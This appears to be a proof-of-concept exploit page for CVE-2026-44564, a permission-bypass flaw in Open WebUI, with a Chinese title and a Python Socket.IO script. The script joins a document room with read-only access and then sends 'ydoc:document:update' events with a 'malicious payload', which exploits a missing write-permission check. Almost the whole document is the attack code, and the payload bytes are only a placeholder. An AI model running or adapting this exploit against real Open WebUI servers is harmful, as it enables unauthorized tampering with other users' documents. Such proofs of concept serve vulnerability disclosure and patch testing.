CVE-2026-44564 Open WebUI权限绕过漏洞

import socketio # Create a Socket.IO client sio = socketio.Client() @sio.event def connect(): print('Connection established') # Target URL of the vulnerable Open WebUI instance target_url = 'http://vulnerable-target:port' try: # Connect to the server sio.connect(target_url) # Step 1: Join the document room using read-only permissions # The 'ydoc:document:join' handler checks for read permission document_id = 'example_doc_id' print(f"Joining room for document: {document_id}") sio.emit('ydoc:document:join', {'doc_id': document_id}) # Step 2: Send update events without write permission # The 'ydoc:document:update' handler checks room membership but NOT write permission print("Sending malicious update...") malicious_payload = { 'doc_id': document_id, 'update': b'\x00\x01\x02...' # Binary Yjs update data } sio.emit('ydoc:document:update', malicious_payload) print("Exploit completed. Check document state.") except Exception as e: print(f"An error occurred: {e}") finally: sio.disconnect()